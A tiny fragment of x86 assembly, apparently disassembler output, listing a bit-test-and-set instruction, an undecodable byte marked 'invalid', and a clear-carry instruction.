bts edx, eax
invalid
clc